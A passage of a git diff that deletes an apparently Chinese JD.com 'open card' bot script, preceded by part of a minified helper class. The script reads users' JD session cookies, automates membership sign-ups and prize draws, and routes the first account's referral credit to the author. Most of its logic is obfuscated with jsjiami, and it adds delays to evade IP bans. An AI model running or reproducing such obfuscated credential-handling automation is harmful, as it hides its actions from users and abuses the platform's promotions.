i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard43.js b/backUp/gua_opencard43.js deleted file mode 100644 index a8843a2..0000000 --- a/backUp/gua_opencard43.js +++ /dev/null @@ -1,144 +0,0 @@ -/* -10.11~10.26 惠聚京东 好物连连 [gua_opencard43.js] -新增开卡脚本 (脚本已加密 -一次性脚本 - -1.邀请一人20豆 -2.开7张 成功开1张 获得1次抽奖 - 抽奖可能获得5/666京豆 -3.关注5豆 -4.加购0京豆 1次游戏机会 - (默认不加购 如需加购请设置环境变量[guaopencard_addSku43]为"true" -5.浏览商品0豆 2次游戏机会 - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard43="true" -每个账号之间延迟 100=延迟100秒 0=延迟0秒会使用每3个账号延迟60秒 -guaopenwait_All 所有 -guaopenwait43="0" - - -All变量适用 -———————————————— -入口:[ 10.11~10.26 惠聚京东 好物连连 (https://lzdz1-isv.isvjcloud.com/dingzhi/customized/common/activity?activityId=llk20211011&shareUuid=4fd72b2ca1a14e75a7b5cb57e0e9d91f)] - -请求太频繁会被黑ip -过10分钟再执行 - -============Quantumultx=============== -[task_local] -#10.11~10.26 惠聚京东 好物连连 -47 4 11-26 10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard43.js, tag=10.11~10.26 惠聚京东 好物连连, enabled=true - -*/ -let guaopencard_addSku = "false" -let guaopencard = "false" -let guaopenwait = "0" - -const $ = new Env('10.11~10.26 惠聚京东 好物连连'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie - -var _0xode='jsjiami.com.v6',_0x2a8b=[_0xode,'\x69\x73\x4e\x6f\x64\x65','\x6b\x65\x79\x73','\x66\x6f\x72\x45\x61\x63\x68','\x70\x75\x73\x68','\x65\x6e\x76','\x4a\x44\x5f\x44\x45\x42\x55\x47','\x66\x61\x6c\x73\x65','\x6c\x6f\x67','\x67\x65\x74\x64\x61\x74\x61','\x43\x6f\x6f\x6b\x69\x65\x4a\x44','\x43\x6f\x6f\x6b\x69\x65\x4a\x44\x32','\x43\x6f\x6f\x6b\x69\x65\x73\x4a\x44','\x6d\x61\x70','\x63\x6f\x6f\x6b\x69\x65','\x66\x69\x6c\x74\x65\x72','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x41\x6c\x6c','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x34\x33','\x67\x75\x61\x6f\x70\x65\x6e\x77\x61\x69\x74\x5f\x41\x6c\x6c','\x68\x6f\x74\x46\x6c\x61\x67','\x6f\x75\x74\x46\x6c\x61\x67','\x61\x63\x74\x69\x76\x69\x74\x79\x45\x6e\x64','\x74\x72\x75\x65','\u5982\u9700\u6267\u884c\u811a\u672c\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x34\x33\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x6d\x73\x67','\x6e\x61\x6d\x65','\u3010\u63d0\u793a\u3011\u8bf7\u5148\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\x0a\u76f4\u63a5\u4f7f\u7528\x4e\x6f\x62\x79\x44\x61\u7684\u4eac\u4e1c\u7b7e\u5230\u83b7\u53d6','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x62\x65\x61\x6e\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64','\x6c\x6c\x6b\x32\x30\x32\x31\x31\x30\x31\x31','\x73\x68\x61\x72\x65\x55\x75\x69\x64','\x34\x66\x64\x37\x32\x62\x32\x63\x61\x31\x61\x31\x34\x65\x37\x35\x61\x37\x62\x35\x63\x62\x35\x37\x65\x30\x65\x39\x64\x39\x31\x66','\u5165\u53e3\x3a\x0a\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x63\x75\x73\x74\x6f\x6d\x69\x7a\x65\x64\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x6c\x65\x6e\x67\x74\x68','\x55\x73\x65\x72\x4e\x61\x6d\x65','\x6d\x61\x74\x63\x68','\x69\x6e\x64\x65\x78','\x62\x65\x61\x6e','\x6e\x69\x63\x6b\x4e\x61\x6d\x65','\x0a\x0a\x2a\x2a\x2a\x2a\x2a\x2a\u5f00\u59cb\u3010\u4eac\u4e1c\u8d26\u53f7','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a','\x61\x63\x74\x6f\x72\x55\x75\x69\x64','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c','\x73\x65\x6e\x64\x4e\x6f\x74\x69\x66\x79','\x63\x61\x74\x63\x68','\x6c\x6f\x67\x45\x72\x72','\x66\x69\x6e\x61\x6c\x6c\x79','\x64\x6f\x6e\x65','\x68\x61\x73\x45\x6e\x64','\x65\x6e\x64\x54\x69\x6d\x65','\x54\x6f\x6b\x65\x6e','\x50\x69\x6e','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\u83b7\u53d6\x5b\x74\x6f\x6b\x65\x6e\x5d\u5931\u8d25\uff01','\u83b7\u53d6\x63\x6f\x6f\x6b\x69\x65\u5931\u8d25','\u6d3b\u52a8\u7ed3\u675f','\u6b64\x69\x70\u5df2\u88ab\u9650\u5236\uff0c\u8bf7\u8fc7\x31\x30\u5206\u949f\u540e\u518d\u6267\u884c\u811a\u672c\x0a','\x67\x65\x74\x53\x69\x6d\x70\x6c\x65\x41\x63\x74\x49\x6e\x66\x6f\x56\x6f','\x67\x65\x74\x4d\x79\x50\x69\x6e\x67','\u83b7\u53d6\x5b\x50\x69\x6e\x5d\u5931\u8d25\uff01','\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x67\x65\x74\x55\x73\x65\x72\x49\x6e\x66\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x43\x6f\x6e\x74\x65\x6e\x74','\u83b7\u53d6\u4e0d\u5230\x5b\x61\x63\x74\x6f\x72\x55\x75\x69\x64\x5d\u9000\u51fa\u6267\u884c\uff0c\u8bf7\u91cd\u65b0\u6267\u884c','\x6e\x6f\x77','\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x77\x61\x69\x74','\x6f\x70\x65\x6e\x4c\x69\x73\x74','\x61\x6c\x6c\x4f\x70\x65\x6e\x43\x61\x72\x64','\x69\x6e\x66\x6f','\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\u5f00\u5361\u4efb\u52a1','\x6f\x70\x65\x6e\x43\x61\x72\x64','\x73\x74\x61\x74\x75\x73','\x6a\x6f\x69\x6e\x56\x65\x6e\x64\x65\x72\x49\x64','\x76\x65\x6e\x64\x65\x72\x49\x64','\x72\x61\x6e\x64\x6f\x6d','\u5df2\u5168\u90e8\u5f00\u5361','\u5173\u6ce8\x3a\x20','\x66\x6f\x6c\x6c\x6f\x77\x53\x68\x6f\x70','\x79\x61\x6f\x71\x69\x6e\x67','\u7b7e\u5230\x3a\x20','\x73\x69\x67\x6e','\u52a0\u8d2d\x3a\x20','\x61\x64\x64\x43\x61\x72\x74','\u5982\u9700\u52a0\u8d2d\u8bf7\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf\x5b\x67\x75\x61\x6f\x70\x65\x6e\x63\x61\x72\x64\x5f\x61\x64\x64\x53\x6b\x75\x34\x33\x5d\u4e3a\x22\x74\x72\x75\x65\x22','\x72\x75\x6e\x46\x61\x6c\x61\x67','\u6d4f\u89c8\u5546\u54c1\x3a\x20','\x76\x69\x73\x69\x74\x53\x6b\x75','\x76\x69\x73\x69\x74\x53\x6b\x75\x4c\x69\x73\x74','\x67\x6f\x6f\x64\x73\x43\x6f\x64\x65','\x76\x69\x73\x69\x74\x53\x6b\x75\x56\x61\x6c\x75\x65','\x62\x72\x6f\x77\x73\x65\x47\x6f\x6f\x64\x73','\x64\x72\x61\x77\x43\x6f\x75\x6e\x74','\u6b21\u62bd\u5956','\x73\x74\x61\x72\x74\x44\x72\x61\x77','\x73\x63\x6f\x72\x65','\u503c\x20\u6e38\u620f\x3a','\x70\x6f\x69\x6e\x74','\x67\x65\x74\x44\x72\x61\x77\x52\x65\x63\x6f\x72\x64\x48\x61\x73\x43\x6f\x75\x70\x6f\x6e','\x67\x65\x74\x53\x68\x61\x72\x65\x52\x65\x63\x6f\x72\x64','\u5f53\u524d\u52a9\u529b\x3a','\u540e\u9762\u7684\u53f7\u90fd\u4f1a\u52a9\u529b\x3a','\u4f11\u606f\x31\u5206\u949f\uff0c\u522b\u88ab\u9ed1\x69\x70\u4e86\x0a\u53ef\u6301\u7eed\u53d1\u5c55','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d','\x50\x4f\x53\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x61\x70\x69\x2e\x6d\x2e\x6a\x64\x2e\x63\x6f\x6d\x2f\x63\x6c\x69\x65\x6e\x74\x2e\x61\x63\x74\x69\x6f\x6e\x3f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64\x3d\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72','\x62\x6f\x64\x79\x3d\x25\x37\x42\x25\x32\x32\x75\x72\x6c\x25\x32\x32\x25\x33\x41\x25\x32\x32\x68\x74\x74\x70\x73\x25\x33\x41\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x25\x32\x32\x25\x32\x43\x25\x32\x32\x69\x64\x25\x32\x32\x25\x33\x41\x25\x32\x32\x25\x32\x32\x25\x37\x44\x26\x75\x75\x69\x64\x3d\x66\x36\x38\x35\x39\x34\x62\x64\x38\x34\x63\x65\x30\x30\x61\x38\x39\x63\x62\x35\x33\x66\x39\x34\x33\x36\x33\x30\x30\x64\x65\x66\x65\x63\x65\x64\x62\x64\x62\x30\x26\x63\x6c\x69\x65\x6e\x74\x3d\x61\x70\x70\x6c\x65\x26\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3d\x31\x30\x2e\x31\x2e\x34\x26\x73\x74\x3d\x31\x36\x33\x33\x39\x32\x32\x37\x36\x34\x36\x33\x39\x26\x73\x76\x3d\x31\x31\x31\x26\x73\x69\x67\x6e\x3d\x66\x61\x66\x32\x30\x35\x38\x66\x35\x34\x65\x38\x65\x36\x30\x65\x63\x63\x35\x35\x66\x33\x65\x30\x30\x36\x33\x35\x63\x38\x36\x62','\x2f\x64\x7a\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x67\x65\x74\x53\x69\x6d\x70\x6c\x65\x41\x63\x74\x49\x6e\x66\x6f\x56\x6f','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x2f\x63\x75\x73\x74\x6f\x6d\x65\x72\x2f\x67\x65\x74\x4d\x79\x50\x69\x6e\x67','\x75\x73\x65\x72\x49\x64\x3d','\x73\x68\x6f\x70\x49\x64','\x26\x74\x6f\x6b\x65\x6e\x3d','\x26\x66\x72\x6f\x6d\x54\x79\x70\x65\x3d\x41\x50\x50','\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x63\x65\x73\x73\x4c\x6f\x67\x57\x69\x74\x68\x41\x44','\x2f\x64\x72\x61\x77\x43\x65\x6e\x74\x65\x72\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x76\x65\x6e\x64\x65\x72\x49\x64\x3d','\x26\x63\x6f\x64\x65\x3d\x39\x39\x26\x70\x69\x6e\x3d','\x26\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x26\x70\x61\x67\x65\x55\x72\x6c\x3d','\x26\x73\x75\x62\x54\x79\x70\x65\x3d\x61\x70\x70\x26\x61\x64\x53\x6f\x75\x72\x63\x65\x3d','\x2f\x77\x78\x41\x63\x74\x69\x6f\x6e\x43\x6f\x6d\x6d\x6f\x6e\x2f\x67\x65\x74\x55\x73\x65\x72\x49\x6e\x66\x6f','\x70\x69\x6e\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x2f\x63\x6f\x6e\x74\x65\x6e\x74','\x26\x70\x69\x6e\x3d','\x26\x70\x69\x6e\x49\x6d\x67\x3d','\x61\x74\x74\x72\x54\x6f\x75\x58\x69\x61\x6e\x67','\x26\x6e\x69\x63\x6b\x3d','\x6e\x69\x63\x6b\x6e\x61\x6d\x65','\x26\x63\x6a\x79\x78\x50\x69\x6e\x3d\x26\x63\x6a\x68\x79\x50\x69\x6e\x3d\x26\x73\x68\x61\x72\x65\x55\x75\x69\x64\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x74\x61\x73\x6b\x61\x63\x74\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x64\x72\x61\x77\x43\x6f\x6e\x74\x65\x6e\x74','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x63\x68\x65\x63\x6b\x4f\x70\x65\x6e\x43\x61\x72\x64','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x74\x61\x73\x6b\x2f\x69\x6e\x66\x6f','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x64\x72\x61\x77\x2f\x62\x65\x61\x6e','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x66\x6f\x6c\x6c\x6f\x77\x2f\x73\x68\x6f\x70','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f','\x26\x76\x61\x6c\x75\x65\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x73\x73\x69\x73\x74','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x61\x73\x73\x69\x73\x74\x2f\x73\x74\x61\x74\x75\x73','\x76\x69\x65\x77\x56\x69\x64\x65\x6f','\x74\x6f\x53\x68\x6f\x70','\x61\x64\x64\x53\x6b\x75','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x64\x7a\x2f\x6f\x70\x65\x6e\x43\x61\x72\x64\x2f\x73\x61\x76\x65\x54\x61\x73\x6b','\x74\x6f\x53\x68\x6f\x70\x56\x61\x6c\x75\x65','\x61\x64\x64\x53\x6b\x75\x56\x61\x6c\x75\x65','\x26\x61\x63\x74\x6f\x72\x55\x75\x69\x64\x3d','\x26\x74\x61\x73\x6b\x54\x79\x70\x65\x3d','\x26\x74\x61\x73\x6b\x56\x61\x6c\x75\x65\x3d','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x64\x72\x61\x77\x2f\x72\x65\x63\x6f\x72\x64','\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x6c\x69\x6e\x6b\x67\x61\x6d\x65\x2f\x68\x65\x6c\x70\x2f\x6c\x69\x73\x74','\x70\x6f\x73\x74','\x73\x74\x61\x74\x75\x73\x43\x6f\x64\x65','\x75\x6e\x64\x65\x66\x69\x6e\x65\x64','\x74\x6f\x53\x74\x72','\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\x70\x61\x72\x73\x65','\x20\u6267\u884c\u4efb\u52a1\u5f02\u5e38','\x6f\x62\x6a\x65\x63\x74','\x65\x72\x72\x63\x6f\x64\x65','\x74\x6f\x6b\x65\x6e','\x6d\x65\x73\x73\x61\x67\x65','\x69\x73\x76\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x20','\x72\x65\x73\x75\x6c\x74','\x64\x61\x74\x61','\x65\x72\x72\x6f\x72\x4d\x65\x73\x73\x61\x67\x65','\x73\x65\x63\x72\x65\x74\x50\x69\x6e','\x79\x75\x6e\x4d\x69\x64\x49\x6d\x61\x67\x65\x55\x72\x6c','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x6d\x67\x31\x30\x2e\x33\x36\x30\x62\x75\x79\x69\x6d\x67\x2e\x63\x6f\x6d\x2f\x69\x6d\x67\x7a\x6f\x6e\x65\x2f\x6a\x66\x73\x2f\x74\x31\x2f\x37\x30\x32\x30\x2f\x32\x37\x2f\x31\x33\x35\x31\x31\x2f\x36\x31\x34\x32\x2f\x35\x63\x35\x31\x33\x38\x64\x38\x45\x34\x64\x66\x32\x65\x37\x36\x34\x2f\x35\x61\x31\x32\x31\x36\x61\x33\x61\x35\x30\x34\x33\x63\x35\x64\x2e\x70\x6e\x67','\x61\x63\x74\x69\x76\x69\x74\x79','\x69\x73\x45\x6e\x64','\x61\x63\x74\x6f\x72','\x63\x61\x72\x64\x4c\x69\x73\x74\x31','\x63\x61\x72\x64\x4c\x69\x73\x74\x32','\x63\x61\x72\x64\x4c\x69\x73\x74','\x6f\x70\x65\x6e\x43\x61\x72\x64\x4c\x69\x73\x74','\x6f\x70\x65\x6e\x43\x61\x72\x64\x53\x63\x6f\x72\x65\x31','\x73\x63\x6f\x72\x65\x31','\x6f\x70\x65\x6e\x43\x61\x72\x64\x53\x63\x6f\x72\x65\x32','\x73\x63\x6f\x72\x65\x32','\x64\x72\x61\x77\x53\x63\x6f\x72\x65','\x61\x64\x64\x42\x65\x61\x6e\x4e\x75\x6d','\x61\x64\x64\x50\x6f\x69\x6e\x74','\u6e38\u620f\u673a\u4f1a','\x62\x65\x61\x6e\x4e\x75\x6d\x4d\x65\x6d\x62\x65\x72','\x61\x73\x73\x69\x73\x74\x53\x65\x6e\x64\x53\x74\x61\x74\x75\x73','\x20\u989d\u5916\u83b7\u5f97\x3a','\u70ed\u95e8\u6587\u7ae0','\u6d4f\u89c8\u5e97\u94fa','\u6d4f\u89c8\u5546\u54c1','\x64\x72\x61\x77\x4f\x6b','\x64\x72\x61\x77\x49\x6e\x66\x6f\x54\x79\x70\x65','\u7a7a\u6c14\ud83d\udca8','\u83b7\u5f97\x3a','\u6211\u7684\u5956\u54c1\uff1a','\x72\x65\x63\x6f\x72\x64\x4c\x69\x73\x74','\x69\x6e\x66\x6f\x4e\x61\x6d\x65','\x32\x30\u4eac\u8c46','\x72\x65\x70\x6c\x61\x63\x65','\x69\x6e\x66\x6f\x54\x79\x70\x65','\x76\x61\x6c\x75\x65','\u9080\u8bf7\u597d\u53cb\x28','\x53\x68\x61\x72\x65\x43\x6f\x75\x6e\x74','\x73\x68\x61\x72\x65\x4c\x69\x73\x74','\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x20\u4f60\u9080\u8bf7\u4e86\x3a','\u52a9\u529b\u6210\u529f','\u5df2\u7ecf\u52a9\u529b\u8fc7','\u5df2\u7ecf\u52a9\u529b\u5176\u4ed6\u4eba','\x2d\x3e\x20','\x69\x6e\x64\x65\x78\x4f\x66','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x6a\x73\x6f\x6e','\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x2c\x20\x62\x72','\x7a\x68\x2d\x63\x6e','\x6b\x65\x65\x70\x2d\x61\x6c\x69\x76\x65','\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64','\x58\x4d\x4c\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74','\x52\x65\x66\x65\x72\x65\x72','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6c\x7a\x64\x7a\x31\x2d\x69\x73\x76\x2e\x69\x73\x76\x6a\x63\x6c\x6f\x75\x64\x2e\x63\x6f\x6d\x2f\x64\x69\x6e\x67\x7a\x68\x69\x2f\x63\x75\x73\x74\x6f\x6d\x69\x7a\x65\x64\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x61\x63\x74\x69\x76\x69\x74\x79\x3f\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x3d','\x43\x6f\x6f\x6b\x69\x65','\x41\x55\x54\x48\x5f\x43\x5f\x55\x53\x45\x52\x3d','\x67\x65\x74','\x20\x63\x6f\x6f\x6b\x69\x65\x20\x41\x50\x49\u8bf7\u6c42\u5931\u8d25\uff0c\u8bf7\u68c0\u67e5\u7f51\u8def\u91cd\u8bd5','\u6d3b\u52a8\u5df2\u7ed3\u675f','\x68\x65\x61\x64\x65\x72\x73','\x73\x65\x74\x2d\x63\x6f\x6f\x6b\x69\x65','\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65','\x73\x70\x6c\x69\x74','\x74\x72\x69\x6d','\x4c\x5a\x5f\x54\x4f\x4b\x45\x4e\x5f\x4b\x45\x59\x3d','\x4c\x5a\x5f\x54\x4f\x4b\x45\x4e\x5f\x56\x41\x4c\x55\x45\x3d','\x6c\x7a\x5f\x6a\x64\x70\x69\x6e\x5f\x74\x6f\x6b\x65\x6e\x3d','\x6a\x64\x61\x70\x70\x3b\x69\x50\x68\x6f\x6e\x65\x3b\x31\x30\x2e\x31\x2e\x34\x3b\x31\x33\x2e\x31\x2e\x32\x3b','\x3b\x6e\x65\x74\x77\x6f\x72\x6b\x2f\x77\x69\x66\x69\x3b\x6d\x6f\x64\x65\x6c\x2f\x69\x50\x68\x6f\x6e\x65\x38\x2c\x31\x3b\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2f\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3b\x61\x70\x70\x42\x75\x69\x6c\x64\x2f\x31\x36\x37\x38\x31\x34\x3b\x6a\x64\x53\x75\x70\x70\x6f\x72\x74\x44\x61\x72\x6b\x4d\x6f\x64\x65\x2f\x30\x3b\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x69\x50\x68\x6f\x6e\x65\x3b\x20\x43\x50\x55\x20\x69\x50\x68\x6f\x6e\x65\x20\x4f\x53\x20\x31\x33\x5f\x31\x5f\x32\x20\x6c\x69\x6b\x65\x20\x4d\x61\x63\x20\x4f\x53\x20\x58\x29\x20\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x36\x30\x35\x2e\x31\x2e\x31\x35\x20\x28\x4b\x48\x54\x4d\x4c\x2c\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x29\x20\x4d\x6f\x62\x69\x6c\x65\x2f\x31\x35\x45\x31\x34\x38\x3b\x73\x75\x70\x70\x6f\x72\x74\x4a\x44\x53\x48\x57\x4b\x2f\x31','\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39','\x63\x68\x61\x72\x41\x74','\x66\x6c\x6f\x6f\x72','\x6a\x41\x51\x73\x6a\x57\x69\x61\x6d\x4f\x58\x72\x68\x45\x41\x69\x64\x2e\x63\x45\x47\x77\x43\x51\x50\x6f\x6d\x2e\x76\x51\x5a\x36\x3d\x3d'];var _0x3a6d=function(_0x50b579,_0x1a4950){_0x50b579=~~'0x'['concat'](_0x50b579);var _0x4606cd=_0x2a8b[_0x50b579];return _0x4606cd;};(function(_0xe884da,_0x5f5d37){var _0x4534d8=0x0;for(_0x5f5d37=_0xe884da['shift'](_0x4534d8>>0x2);_0x5f5d37&&_0x5f5d37!==(_0xe884da['pop'](_0x4534d8>>0x3)+'')['replace'](/[AQWOXrhEAdEGwCQPQZ=]/g,'');_0x4534d8++){_0x4534d8=_0x4534d8^0xadd7e;}}(_0x2a8b,_0x3a6d));let cookiesArr=[],cookie='';if($[_0x3a6d('0')]()){Object[_0x3a6d('1')](jdCookieNode)[_0x3a6d('2')](_0x2e1d0e=>{cookiesArr[_0x3a6d('3')](jdCookieNode[_0x2e1d0e]);});if(process[_0x3a6d('4')][_0x3a6d('5')]&&process[_0x3a6d('4')][_0x3a6d('5')]===_0x3a6d('6'))console[_0x3a6d('7')]=()=>{};}else{cookiesArr=[$[_0x3a6d('8')](_0x3a6d('9')),$[_0x3a6d('8')](_0x3a6d('a')),...jsonParse($[_0x3a6d('8')](_0x3a6d('b'))||'\x5b\x5d')[_0x3a6d('c')](_0x832422=>_0x832422[_0x3a6d('d')])][_0x3a6d('e')](_0x31bf20=>!!_0x31bf20);}guaopencard_addSku=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('f')]?process[_0x3a6d('4')][_0x3a6d('f')]:''+guaopencard_addSku:$[_0x3a6d('8')](_0x3a6d('f'))?$[_0x3a6d('8')](_0x3a6d('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('10')]?process[_0x3a6d('4')][_0x3a6d('10')]:''+guaopencard_addSku:$[_0x3a6d('8')](_0x3a6d('10'))?$[_0x3a6d('8')](_0x3a6d('10')):''+guaopencard_addSku;guaopencard=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('11')]?process[_0x3a6d('4')][_0x3a6d('11')]:''+guaopencard:$[_0x3a6d('8')](_0x3a6d('11'))?$[_0x3a6d('8')](_0x3a6d('11')):''+guaopencard;guaopencard=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('12')]?process[_0x3a6d('4')][_0x3a6d('12')]:''+guaopencard:$[_0x3a6d('8')](_0x3a6d('12'))?$[_0x3a6d('8')](_0x3a6d('12')):''+guaopencard;guaopenwait=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('13')]?process[_0x3a6d('4')][_0x3a6d('13')]:''+guaopenwait:$[_0x3a6d('8')](_0x3a6d('13'))?$[_0x3a6d('8')](_0x3a6d('13')):''+guaopenwait;guaopenwait=$[_0x3a6d('0')]()?process[_0x3a6d('4')][_0x3a6d('14')]?process[_0x3a6d('4')][_0x3a6d('14')]:''+guaopenwait:$[_0x3a6d('8')](_0x3a6d('14'))?$[_0x3a6d('8')](_0x3a6d('14')):''+guaopenwait;guaopenwait=parseInt(guaopenwait,0xa)||0x0;allMessage='';message='';$[_0x3a6d('15')]